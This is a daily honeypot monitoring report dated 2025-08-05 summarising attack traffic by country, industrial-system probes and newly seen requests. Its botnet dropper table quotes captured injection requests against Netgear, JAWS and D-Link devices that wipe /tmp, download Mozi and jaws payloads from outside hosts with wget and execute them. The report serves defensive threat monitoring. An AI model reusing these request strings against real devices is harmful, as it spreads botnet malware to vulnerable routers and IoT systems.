Table of Contents

Daily Report: 2025-08-05
#

Executive summary
#

interaction report on http service of various Hhoneypot around the world.

Executive summary
OT report simplified
Botnet dropper behaviour
List of request
List of country_iso_code

executive_summary
#

In today’s repport, we detected 6 stage 1 IP address(es), linked to 5 dropper URL(s).

There are 16 new requests that have never been observed before (these were added to the monitored request database.).

A total of 803 requests were recorded during the day, originating from 6 different countries, with a peak of 436 requests coming from GB.

ot_simplified_report
#

simplified report for medium-level interactions with honeypots that mimic industrial systems (web site loading, or interactions with the website), for more contact us on social@shoggoth.industries.

source_country	targeted_country
GB	Germany
GB	Germany
US	Germany
US	Germany
KR	Germany
US	Germany
US	Dubai

botnet_dropper_behaviour
#

remote_addr	request
103.207.224.51	GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
117.216.70.22	27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
119.188.164.100	GET /shell?cd+/tmp;rm+-rf+*;wget+196.251.86.86/jaws;sh+/tmp/jaws HTTP/1.1
117.196.4.1	27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0
118.194.249.90	GET /shell?cd+/tmp;rm+-rf+*;wget+ scamanje.stresserit.pro/jaws;sh+/tmp/jaws HTTP/1.1
45.230.66.99	GET /shell?cd+/tmp;rm+-rf+*;wget+http://45.230.66.99:10652/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1

request
#

The list of requests presented here are those that have not yet been yet integrated into the request database.

	number_of_occurence	request
71	2	GET http://httpbin.org/anything/test HTTP/1.1
74	2	GET http://checkip.amazonaws.com/ HTTP/1.1
75	2	GET http://httpbin.org/uuid HTTP/1.1
224	1	\x00\x0E8\xBA\xBB\xB8\xF3L\xA6\xAB-\x00\x00\x00\x00\x00
225	1	\x10\x12\x00\x04MQTT\x04\x00\x00
226	1	\x00\x0E\x08\xFCT \x8E\x08\xB4\x0Ft\x00\x00\x00\x00\x00
227	1	\x00\x0E8\xFCT \x8E\x08\xB4\x0Ft\x00\x00\x00\x00\x00
228	1	\x00\x0E\x08\xB3\xF4\xDA\xA5\x8Fd\x8B\xAA\x00\x00\x00\x00\x00
229	1	\x00\x0E8\xB3\xF4\xDA\xA5\x8Fd\x8B\xAA\x00\x00\x00\x00\x00
242	1	\x04\x01\x00P? \x88a\x00\x00
257	1	GET http://pascal.hoez.free.fr/azenv.php HTTP/1.1
258	1	CONNECT ident.me:443 HTTP/1.1
259	1	\x04\x01\x01\xBBAl\x97?\x00
270	1	\x00\x0E8\xF0\x82\xD69b\xD5*\xA3\x00\x00\x00\x00\x00
323	1	GET /goform/qpalfhyd HTTP/1.1
332	1	GET /http.txt HTTP/1.1